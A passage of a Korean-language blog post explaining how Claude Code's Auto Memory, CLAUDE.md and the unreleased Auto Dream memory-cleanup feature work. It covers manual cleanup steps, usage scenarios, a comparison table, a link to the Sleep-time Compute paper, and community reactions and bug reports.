&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;# Claude Code 세션에서 자연어로 요청
&quot;메모리 파일들을 확인해서, 오래되거나 모순되는 항목을 정리해줘.
상대 날짜는 절대 날짜로 바꾸고, 중복은 합쳐줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이것이 커뮤니티에서 &quot;run your autodream&quot;이라고 부르는 것의 정체다. Auto Dream 기능이 아니라, &lt;b&gt;Claude에게 메모리 정리를 수동으로 요청하는 것&lt;/b&gt;이다. Claude는 &lt;code&gt;~/.claude/projects/*/memory/&lt;/code&gt; 디렉토리의 파일들을 읽고 수정할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 B: 직접 편집하기&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 메모리 디렉토리 열기
open ~/.claude/projects/*/memory/    # macOS
# 또는
code ~/.claude/projects/*/memory/    # VS Code

# 오래된 토픽 파일 삭제
rm ~/.claude/projects/my-project/memory/outdated-topic.md

# MEMORY.md 직접 편집 &amp;mdash; 오래된 항목 삭제, 중복 병합
vim ~/.claude/projects/my-project/memory/MEMORY.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: 주기적 정리 습관&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 하려는 것(24시간 간격, 5세션 이상 축적 후 정리)을 수동으로 모방한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주간 메모리 정리 체크리스트&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;모순 확인&lt;/b&gt;: &quot;Redis 사용&quot; vs &quot;Memcached로 전환&quot; 같은 항목이 공존하면 오래된 쪽 삭제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;상대 날짜 수정&lt;/b&gt;: &quot;어제&quot;, &quot;지난주&quot; &amp;rarr; 절대 날짜로 변환&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;중복 병합&lt;/b&gt;: 같은 주제의 메모가 여러 개면 하나로 통합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;해결된 이슈 삭제&lt;/b&gt;: 이미 해결된 버그나 포기한 접근에 대한 메모 제거&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;줄 수 확인&lt;/b&gt;: &lt;code&gt;wc -l MEMORY.md&lt;/code&gt;가 200줄 이내인지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팁: 중요한 규칙은 CLAUDE.md에&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory에 쌓이는 건 Claude의 &quot;학습&quot;이다. 팀 규칙, 코딩 표준, 프로젝트 아키텍처 같은 &lt;b&gt;명시적 지침&lt;/b&gt;은 CLAUDE.md(&lt;code&gt;./CLAUDE.md&lt;/code&gt; 또는 &lt;code&gt;./.claude/CLAUDE.md&lt;/code&gt;)에 작성한다. CLAUDE.md는 압축(&lt;code&gt;/compact&lt;/code&gt;) 후에도 디스크에서 재로딩되어 완전 보존된다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/memory#instructions-seem-lost-after-compact&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 실전 시나리오&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 1: 새 팀원이 프로젝트에 합류&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전 개발자가 Claude Code를 사용하며 쌓인 Auto Memory가 있다면, 새 팀원이 같은 머신에서 작업한다면, Claude를 통해 &quot;이 프로젝트의 빌드 명령어가 뭐야?&quot;라고 물으면 기존 메모리에서 즉시 답을 받을 수 있다. 다만 Auto Memory는 &lt;b&gt;로컬 디스크에 저장&lt;/b&gt;되므로, 다른 머신에서 같은 리포를 클론해도 메모리는 공유되지 않는다. 팀 공유가 필요한 규칙은 CLAUDE.md에 기록하여 리포에 커밋하는 것이 정답이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 2: 긴 디버깅 세션&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;3시간짜리 디버깅 세션 중간에 컨텍스트가 차면 자동 압축이 발동한다. 이때 초반에 시도했던 실패한 접근들은 요약되고, CLAUDE.md의 규칙은 다시 로딩된다. 특정 디버깅 맥락을 보존하고 싶으면 &lt;code&gt;/compact focus on the auth bug investigation&lt;/code&gt;로 수동 압축한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 3: 자동화 스크립트에서 Claude 호출&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CI/CD나 스크립트에서 &lt;code&gt;claude -p &quot;task&quot;&lt;/code&gt;로 호출할 때는 &lt;code&gt;--bare&lt;/code&gt; 플래그를 쓰면 auto memory가 완전히 비활성화된다. 일회성 작업에서 불필요한 메모리 쓰기를 방지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. CLAUDE.md vs Auto Memory vs Auto Dream 비교&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;CLAUDE.md&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Memory&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Dream (미출시)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;누가 쓰는가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude (백그라운드 정리 작업으로 추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;하는 일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;지침과 규칙 명시&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;학습 내용 저장&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;저장된 메모리 정리/가지치기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;범위&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프로젝트, 사용자, 조직&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;워킹 트리 단위&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;워킹 트리 단위 (동일)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;실행 시점&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;매 세션 시작 시&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 중 수시로&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 사이 (24시간 간격, 5세션 축적 후)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 로딩&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;전체 로딩 (파일 크기 제한 없으나, 컨텍스트 윈도우 소비)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MEMORY.md 첫 200줄(또는 25KB)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;해당 없음 (메모리 파일을 정리하는 역할)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;버전관리/공유&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;git 커밋 가능 &amp;rarr; 팀 공유&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 디스크 전용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 디스크 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;우선순위&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;가장 높음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md보다 낮음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory를 수정하는 역할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;압축(&lt;code&gt;/compact&lt;/code&gt;) 후&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;디스크에서 재로딩 (완전 보존)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MEMORY.md 첫 200줄 재로딩&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;현재 상태&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;사용 가능&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;사용 가능&lt;/b&gt; (v2.1.59+)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;미출시&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비유하면: &lt;b&gt;CLAUDE.md는 &quot;이렇게 해라&quot;&lt;/b&gt;(명시적 지침), &lt;b&gt;Auto Memory는 &quot;지난번에 이렇게 했더니 잘 됐다&quot;&lt;/b&gt;(경험 학습), &lt;b&gt;Auto Dream은 &quot;학습한 것을 정리하는 잠&quot;&lt;/b&gt;(기억 정리)이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 이론적 배경: Sleep-time Compute&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream의 설계 철학은 우연이 아니다. 2025년 4월에 발표된 연구 논문과 직접적인 대응 관계가 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Sleep-time Compute 논문&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Sleep-time Compute: Beyond Inference Scaling at Test-time&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(Kevin Lin, Charlie Snell et al., Letta + UC Berkeley, &lt;a href=&quot;https://arxiv.org/abs/2504.13171&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2504.13171&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 아이디어: LLM이 사용자의 질문을 받기 &lt;b&gt;전에&lt;/b&gt; 미리 생각해두면, 질문이 왔을 때 더 빠르고 정확하게 답할 수 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;논문 (Sleep-time Compute)&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto Dream (Claude Code)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자 쿼리를 예측하여 미리 계산&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;축적된 메모리를 정리/통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;테스트 타임 컴퓨팅 ~5배 절감 (논문 Table 1 기준)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 시작 시 더 효율적인 컨텍스트 로딩&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;오프라인(사용자 유휴 시간)에 처리&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 사이에 비동기 실행 (&lt;code&gt;minHours: 24&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;여러 쿼리에 걸쳐 비용 분산&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;여러 세션에 걸쳐 정리 (&lt;code&gt;minSessions: 5&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;직접적 연관성은 미확인&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream과 Sleep-time Compute 논문의 대응 관계는 DEV Community 기사의 분석이다. Anthropic이 이 논문을 참조했다는 공식 확인은 없다. 다만 &quot;사용자 유휴 시간에 컴퓨팅을 투자하여 다음 세션의 효율을 높인다&quot;는 설계 철학은 동일하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;인간의 수면과 기억 정리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Dream&quot;이라는 이름은 인간의 수면 중 기억 강화(memory consolidation during sleep) 과정에서 따온 것이다. 인간은 잠자는 동안 해마에서 대뇌피질로 정보를 옮기며, 중요한 기억은 강화하고 불필요한 기억은 잊는다. Auto Dream은 이 과정을 Auto Memory에 적용한 것이다 &amp;mdash; 세션 사이(&quot;수면 시간&quot;)에 메모리를 정리하여, 다음 세션이 더 깨끗한 기억으로 시작하게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 커뮤니티 반응: 기대와 우려&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;긍정적 반응&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;반응&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;검증&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;인간의 REM 수면처럼 단기 기억을 장기 기억으로 정리한다. 네이밍이 의도적이다.&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.threads.com/@sakeeb.rahman/post/DWSKjMoESz2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Threads @sakeeb.rahman&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;비유로서 적절. 실제 REM 수면 메커니즘과 1:1 대응은 아니지만, &quot;세션 사이에 정리&quot;라는 설계 의도는 맞다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Sleep-time Compute 논문이 떠오른다. 아름답다.&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://x.com/maksym_andr/status/2036351101125959799&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X @maksym_andr&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;논문과의 직접 연관은 미확인. 다만 &quot;유휴 시간에 컴퓨팅 투자&quot; 설계 철학은 유사하다 (섹션 8 참조).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;이미 OpenClaw로 매일 메모리 정리를 자동화하고 있었는데, 공식 기능으로 나와서 좋다.&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://x.com/JeremyNguyenPhD/status/2036279335221645345&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X @JeremyNguyenPhD&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;파워 유저들이 이미 수동으로 하던 작업을 자동화한다는 점에서 실질적 가치가 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;20세션 넘으면 메모리가 엉망이 된다. 이걸 해결해주는 기능이 필요했다.&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.threads.com/@sakeeb.rahman/post/DWSKj7xEUuh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Threads @sakeeb.rahman&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory의 &quot;쓰고 잊기&quot; 문제는 실제로 존재한다. 이 글의 섹션 3에서 다룬 구조적 문제이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;우려 및 비판&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600;&quot;&gt;우려&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600;&quot;&gt;검증 및 행동 지침&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;정확성 문제&lt;/b&gt;: 잘못된 프로젝트명 생성, 파일 수를 검증 없이 주장, 오래된 항목을 삭제하지 않음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub #38493&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;실제 버그 리포트. Auto Dream 결과물은 &lt;b&gt;반드시 수동 검토&lt;/b&gt;가 필요하다. &lt;code&gt;/memory&lt;/code&gt;로 정리 결과를 확인할 것.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;투명성 부족&lt;/b&gt;: 무엇을 수정했는지 변경 이력(changelog)이 없음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub #38493&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;정리 전후를 비교할 수 없다. 중요 프로젝트에서는 정리 전 &lt;code&gt;memory/&lt;/code&gt; 디렉토리를 백업해두는 것을 권장한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;토큰 비용&lt;/b&gt;: 메모리 정리에 많은 토큰이 소비될 수 있다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 논의&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;사용자가 요청하지 않은 서브에이전트 실행의 비용 모델은 미공개. Anthropic이 부담하는지, 사용자 토큰에서 차감되는지 확인되지 않았다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프라이버시&lt;/b&gt;: 메모리 내용이 정리 과정에서 API로 전송됨&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 논의&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Memory 자체가 세션 중 API로 전송되므로, Auto Dream도 동일한 프라이버시 범위 내이다. 민감 정보가 메모리에 저장되지 않도록 주의.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/dream 명령어 미작동&lt;/b&gt;: UI에서 안내하지만 실행하면 &quot;Unknown skill&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38426&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub #38426&lt;/a&gt;, &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;알려진 버그. &lt;code&gt;/dream&lt;/code&gt; 대신 자연어로 &quot;메모리를 정리해줘&quot;라고 요청하면 수동으로 동일한 작업을 할 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;독자 행동 지침 요약&lt;/b&gt;&lt;br /&gt;
